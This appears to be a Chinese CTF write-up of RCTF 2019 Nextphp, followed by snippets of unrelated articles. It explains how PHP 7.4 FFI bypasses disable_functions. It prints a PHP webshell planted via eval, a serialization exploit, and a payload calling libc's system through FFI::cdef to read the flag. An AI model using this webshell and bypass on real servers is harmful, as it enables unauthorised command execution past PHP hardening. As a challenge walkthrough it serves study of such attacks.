FFI绕过disable_functions

news/2024/5/19 22:54:40 标签: web安全, PHP FFI, CTF

文章目录

    • FFI绕过disable_functions
      • [RCTF 2019]Nextphp
        • PHP7.4 FFI
        • 参考

FFI绕过disable_functions

CTF_2019Nextphp_3">[RCTF 2019]Nextphp

首先来看这道题目

index.php

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

查看一下phpinfo

image-20230824155958234

发现过滤了很多函数,我们写个马:

/?a=file_put_contents('1.php',"<?php @eval($_POST[1]);?>");

蚁剑连接:

image-20230824160132992

preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

本来想尝试使用LD_PRELOAD等方式绕过disable_functions,但是禁用了mailputenv()等函数,没办法了

这了我们获取到了preload.php文件,这里就不得不提到PHP7.4 FFI

PHP7.4 FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。

使用条件:

Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true

如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是结果的payload里面仍然还使用了system的原因,因为我们是加载c库函数中的system函数的

所以此处的思想就是使用PHP代码来调用c代码的方式,先声明c中的命令执行函数,然后通过FFI变量调用该c函数即可bypass

由于这里的php版本是7.4,所以我们就可以使用这种方式了

exp:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {

        $this->data = unserialize($payload);

    }
}

$a = new A();
echo serialize($a);

# C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}

这里我们需要注释掉__serialize()函数,否则就会先执行__serialize(),这里我们需要执行的是serialize()函数

image-20230824161753525

然后我们传参:

/?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag > /var/www/html/1.txt');

首先反序列化得到A对象,然后调用__serialize()返回$this->data数组,取其中的ret变量,由于调用unserialize()时会调用run(),所以导致ret=FFI::cdef(int system(char *command);)就相当于声明了一个FFI对象,然后执行system()函数即可

参考

https://www.cnblogs.com/karsa/p/13393034.html

https://blog.csdn.net/RABCDXB/article/details/120319633

简单讲解如何绕过PHP disable_function


http://www.niftyadmin.cn/n/4965934.html

相关文章

【第三阶段】kotlin语言的takeUnless内置函数

1.takeUnless和takeif功能是相反的 username.takeif{true/false} true:返回username本身 false:返回null username.takeUnless{true/false} false:返回username本身 true:返回nullpackage Stage3 class Manager{private var info:String?nullfun getInfo()infofun setI…

港交所行情协议介绍

目录 一、OMD行情协议 1.时间 2.特色 1&#xff09;频道划分 2&#xff09;双线传输 3&#xff09;重传服务 4&#xff09;刷新服务&#xff08;定时快照&#xff09; 4.规则 1&#xff09;包序号确定 2&#xff09;判断是否重传 5.优缺点 1&#xff09;优点 2&a…

解决idea登录github copilot报错问题

试了好多方案都没用&#xff0c;但是这个有用&#xff0c; 打开idea-help-edit custonm vm options 然后在这个文件里面输入 -Dcopilot.agent.disabledtrue再打开 https://github.com/settings/copilot 把这个设置成allow&#xff0c;然后重新尝试登录copilot就行就行 解决方…

MySQL 8.0 的工具日志配置管理

文章目录 日志分类设置错误日志设置错误日志等级生效时间 二进制日志&#xff08;binlog&#xff09;作用配置 慢日志&#xff08;slow_log&#xff09;作用 general_log 业务sql 日志分类 error log &#xff1a; 错误日志 genernal log &#xff1a; 普通日志 binlog &#…

概念解析 | 电磁计算的新篇章:智能电磁计算

注1&#xff1a;本文系“概念解析”系列之一&#xff0c;致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是&#xff1a;智能电磁计算。 电磁计算的新篇章&#xff1a;智能电磁计算 随着人工智能的飞速发展&#xff0c;我们正处在一个信息爆炸的时代。各个领域&a…

鸡肋的RDP反制

更新时间&#xff1a;2023年07月19日09:18:29 为什么叫鸡肋&#xff1a; 鸡肋者&#xff0c;食之无肉&#xff0c;弃之有味。 你说不能成吧&#xff0c;但是有成功案例&#xff0c;你说成了吧&#xff0c;要求太高&#xff0c;还要看运气的。 一句话&#xff1a;对方需要开启…

RK3568 安卓源码编译

一.repo安卓编译工具 项目模块化/组件化之后各模块也作为独立的 Git 仓库从主项目里剥离了出去&#xff0c;各模块各自管理自己的版本。Android源码引用了很多开源项目&#xff0c;每一个子项目都是一个Git仓库&#xff0c;每个Git仓库都有很多分支版本&#xff0c;为了方便统…

Matlab 生成一定信噪比的信号

文章目录 【 1. 信噪比 】【 2. 功率归一化 】2.1 实信号实噪声2.2 实信号复噪声 【 3. 能量归一化 】3.1 实信号实噪声3.2 实信号复噪声 【 4. 小结 】 【 1. 信噪比 】 信噪比公式 1 &#xff1a; S N R 10 ∗ l o g 10 P s P n 信噪比公式1&#xff1a;SNR10*log_{10}\frac…